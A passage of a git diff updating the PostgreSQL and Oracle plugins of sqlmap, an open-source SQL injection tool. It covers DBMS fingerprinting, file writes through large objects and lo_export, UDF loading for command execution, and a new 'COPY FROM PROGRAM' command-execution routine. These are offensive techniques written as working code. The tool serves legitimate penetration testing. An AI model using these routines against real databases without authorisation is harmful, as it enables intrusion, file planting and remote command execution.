break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "||".join("%s(%d)" % ("CHR" if ord(expression[i]) < 256 else "NCHR", ord(expression[i])) for i in xrange(firstIndex, lastIndex)) - - expression = expression.replace(old, unescaped) - else: - expression = "||".join("CHR(%d)" % ord(c) for c in expression) - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find("))") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHR(", "").replace(")", "") - oldUpper = oldUpper.split("||") - - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped) - - return expression + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("%s(%d)" % ("CHR" if _ < 128 else "NCHR", _) for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 4f23032782d..6bc5cd16a24 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,33 +1,30 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 0ec06178624..68ea7cb1f7c 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,18 +23,14 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF parameters' input data-type and return data-type - "sys_exec": { "input": [ "text" ], "return": "int4" }, - "sys_eval": { "input": [ "text" ], "return": "text" }, - "sys_bineval": { "input": [ "text" ], "return": "int4" }, - "sys_fileread": { "input": [ "text" ], "return": "text" } - } + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": {"input": ["text"], "return": "int4"}, + "sys_eval": {"input": ["text"], "return": "text"}, + "sys_bineval": {"input": ["text"], "return": "int4"}, + "sys_fileread": {"input": ["text"], "return": "text"} + } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.PGSQL] = Syntax.unescape + unescaper[DBMS.PGSQL] = Syntax.escape diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 83573c75dd0..4a71bf15bb6 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: @@ -10,11 +10,12 @@ import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) -except ImportError, _: +except: pass +from lib.core.common import getSafeExString from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -28,27 +29,24 @@ class Connector(GenericConnector): Possible connectors: http://wiki.python.org/moin/PostgreSQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) - except psycopg2.OperationalError, msg: - raise sqlmapConnectionException, msg + except (psycopg2.OperationalError, UnicodeDecodeError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except psycopg2.ProgrammingError, msg: - logger.warn(msg) + except psycopg2.ProgrammingError as ex: + logger.warning(getSafeExString(ex)) return None def execute(self, query): @@ -57,10 +55,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg: - logger.warn(("(remote) %s" % msg).strip()) - except psycopg2.InternalError, msg: - raise sqlmapConnectionException, msg + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 2a92bc84c90..181384becbc 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,12 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.data import logger + from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) + def getHostname(self): + warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 2701d066068..d0298f2b627 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,73 +1,51 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt +from lib.core.compat import xrange from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import LOBLKSIZE from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): self.oid = None + self.page = None GenericFilesystem.__init__(self) - def unionReadFile(self, rFile): - errMsg = "PostgreSQL does not support file reading with UNION " - errMsg += "query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg - - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.initEnv() - return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") + return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") - def unionWriteFile(self, wFile, dFile, fileType): + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - def stackedWriteFile(self, wFile, dFile, fileType): - wFileSize = os.path.getsize(wFile) - - if wFileSize > 8192: - errMsg = "on PostgreSQL it is not possible to write files " - errMsg += "bigger than 8192 bytes at the moment" - raise sqlmapUnsupportedFeatureException, errMsg + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + localFileSize = os.path.getsize(localFile) + content = open(localFile, "rb").read() self.oid = randomInt() - - debugMsg = "creating a support table to write the base64 " - debugMsg += "encoded file to" - logger.debug(debugMsg) + self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") - logger.debug("encoding file to its base64 string value") - fcEncodedList = self.fileEncode(wFile, "base64", False) - - debugMsg = "forging SQL statements to write the base64 " - debugMsg += "encoded file to the support table" - logger.debug(debugMsg) - - sqlQueries = self.fileToSqlQueries(fcEncodedList) - - logger.debug("inserting the base64 encoded file to the support table") - - for sqlQuery in sqlQueries: - inject.goStacked(sqlQuery) - debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) @@ -75,46 +53,31 @@ def stackedWriteFile(self, wFile, dFile, fileType): # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) + inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) - debugMsg = "updating the system large objects table assigning to " - debugMsg += "the just created OID the binary (base64 decoded) UDF " - debugMsg += "as data" - logger.debug(debugMsg) + for offset in xrange(0, localFileSize, LOBLKSIZE): + fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) + sqlQueries = self.fileToSqlQueries(fcEncodedList) + + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) - # Refereces: - # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html - # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql - # - # NOTE: From PostgreSQL site: - # - # "The data stored in the large object will never be more than - # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or - # typically 2 Kb" - # - # As a matter of facts it was possible to store correctly a file - # large 13776 bytes, the problem arises at next step (lo_export()) - # - # Inject manually into PostgreSQL system table pg_largeobject the - # base64-decoded file content. Note that PostgreSQL >= 9.0 does - # not accept UPDATE into that table for some reason. - self.getVersionFromBanner() - banVer = kb.bannerFp["dbmsVersion"] - - if banVer >= "9.0": - inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName)) - else: - inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) + inject.goStacked("DELETE FROM %s" % self.fileTblName) + + self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType - debugMsg += "file '%s'" % dFile + debugMsg += "file '%s'" % remoteFile logger.debug(debugMsg) - # NOTE: lo_export() exports up to only 8192 bytes of the file - # (pg_largeobject 'data' field) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) - self.askCheckWrittenFile(wFile, dFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) + + return written diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 8c32a197a2a..20eed02a917 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,22 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode -from lib.core.common import randomInt +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES -from lib.core.settings import PGSQL_SYSTEM_DBS from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -25,6 +26,30 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): + fork = FORK.COCKROACHDB + elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version + fork = FORK.REDSHIFT + elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png + fork = FORK.GREENPLUM + elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html + fork = FORK.YELLOWBRICK + elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html + fork = FORK.ENTERPRISEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%YB-%'"): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 + fork = FORK.YUGABYTEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%openGauss%'"): + fork = FORK.OPENGAUSS + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -41,6 +66,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PGSQL + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -48,25 +75,30 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): """ References for fingerprint: - * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) + * https://www.postgresql.org/docs/current/static/release.html """ - if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() @@ -76,18 +108,18 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) - randInt = getUnicode(randomInt(1)) - result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt)) + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt)) + result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -101,37 +133,63 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): - Backend.setVersion(">= 9.1.0") - elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1, 'EEEE'))>0"): + if inject.checkBooleanExpression("JSON_QUERY(NULL::jsonb, '$') IS NULL"): + Backend.setVersion(">= 17.0") + elif inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + Backend.setVersion(">= 16.0") + elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 15.0") + elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + Backend.setVersion(">= 14.0") + elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): + Backend.setVersion(">= 13.0") + elif inject.checkBooleanExpression("SINH(0)=0"): + Backend.setVersion(">= 12.0") + elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): + Backend.setVersion(">= 11.0") + elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): + Backend.setVersionList([">= 10.0", "< 11.0"]) + elif inject.checkBooleanExpression("SIND(0)=0"): + Backend.setVersionList([">= 9.6.0", "< 10.0"]) + elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): + Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) + elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): + Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) + elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"): + Backend.setVersionList([">= 9.3.0", "< 9.4.0"]) + elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"): + Backend.setVersionList([">= 9.2.0", "< 9.3.0"]) + elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): + Backend.setVersionList([">= 9.1.0", "< 9.2.0"]) + elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) - elif inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"): + elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"): Backend.setVersionList([">= 8.4.0", "< 9.0.0"]) elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): Backend.setVersionList([">= 8.3.0", "< 8.4.0"]) elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"): Backend.setVersionList([">= 8.2.0", "< 8.3.0"]) - elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"): + elif inject.checkBooleanExpression("9=(SELECT GREATEST(5,9,1))"): Backend.setVersionList([">= 8.1.0", "< 8.2.0"]) - elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"): + elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))"): Backend.setVersionList([">= 8.0.0", "< 8.1.0"]) - elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"): + elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"): Backend.setVersionList([">= 7.4.0", "< 8.0.0"]) - elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"): + elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"): Backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): Backend.setVersionList([">= 7.2.0", "< 7.3.0"]) - elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"): + elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"): Backend.setVersionList([">= 7.1.0", "< 7.2.0"]) - elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"): + elif inject.checkBooleanExpression("8=(SELECT POW(2,3))"): Backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): Backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): Backend.setVersionList([">= 6.4.0", "< 6.5.0"]) - elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"): + elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE,1,1))"): Backend.setVersionList([">= 6.3.0", "< 6.4.0"]) - elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"): + elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap',1,1))"): Backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: Backend.setVersion("< 6.2.0") @@ -139,7 +197,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -155,7 +213,7 @@ def checkDbmsOs(self, detailed=False): # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner - osWindows = ( " Visual C++", "mingw" ) + osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) @@ -173,13 +231,3 @@ def checkDbmsOs(self, detailed=False): logger.info(infoMsg) self.cleanup(onlyFileTbl=True) - - def forceDbmsEnum(self): - if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": - conf.db = "public" - - warnMsg = "on %s it is possible to enumerate " % DBMS.PGSQL - warnMsg += "only on the current schema and/or system databases. " - warnMsg += "sqlmap is going to use 'public' schema as a " - warnMsg += "database name" - logger.warn(warnMsg) diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index 702a0df57e0..f730a800107 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,61 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "||".join("CHR(%d)" % (ord(expression[i])) for i in xrange(firstIndex, lastIndex)) # Postgres CHR() function already accepts Unicode code point of character(s) - - expression = expression.replace(old, unescaped) - else: - expression = "||".join("CHR(%d)" % ord(c) for c in expression) - - return expression - @staticmethod - def escape(expression): - while True: - index = expression.find("CHR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find("))") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + def escape(expression, quote=True): + """ + Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing) + e.g. SELECT 1 WHERE 'a'!='a'||'b' will trigger error ("argument of WHERE must be type boolean, not type text") - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHR(", "").replace(")", "") - oldUpper = oldUpper.split("||") + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped) + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) # Postgres CHR() function already accepts Unicode code point of character(s) - return expression + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 58a2ac7d77b..ea187fc79b0 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,24 +1,32 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + from lib.core.common import Backend +from lib.core.common import checkFile +from lib.core.common import decloakToTemp +from lib.core.common import flattenValue +from lib.core.common import filterNone +from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isStackingAvailable from lib.core.common import randomStr +from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): @@ -43,24 +51,31 @@ def udfSetLocalPaths(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "9.0": - majorVer = "9.0" - elif banVer >= "8.4": - majorVer = "8.4" - elif banVer >= "8.3": - majorVer = "8.3" - elif banVer >= "8.2": - majorVer = "8.2" + if not banVer or not banVer[0].isdigit(): + errMsg = "unsupported feature on unknown version of PostgreSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + elif LooseVersion(banVer) >= LooseVersion("10"): + majorVer = banVer.split('.')[0] + elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer: + majorVer = '.'.join(banVer.split('.')[:2]) else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer) - self.udfSharedLibExt = "dll" - else: - self.udfLocalFile += "/postgresql/linux/%d/%s/lib_postgresqludf_sys.so" % (Backend.getArch(), majorVer) - self.udfSharedLibExt = "so" + try: + if Backend.isOs(OS.WINDOWS): + _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_") + checkFile(_) + self.udfLocalFile = decloakToTemp(_) + self.udfSharedLibExt = "dll" + else: + _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_") + checkFile(_) + self.udfLocalFile = decloakToTemp(_) + self.udfSharedLibExt = "so" + except SqlmapSystemException: + errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch()) + raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: @@ -81,3 +96,34 @@ def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) + + def copyExecCmd(self, cmd): + output = None + + if isStackingAvailable(): + # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 + self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName + self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) + self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) + inject.goStacked(self._forgedCmd) + + query = "SELECT %s 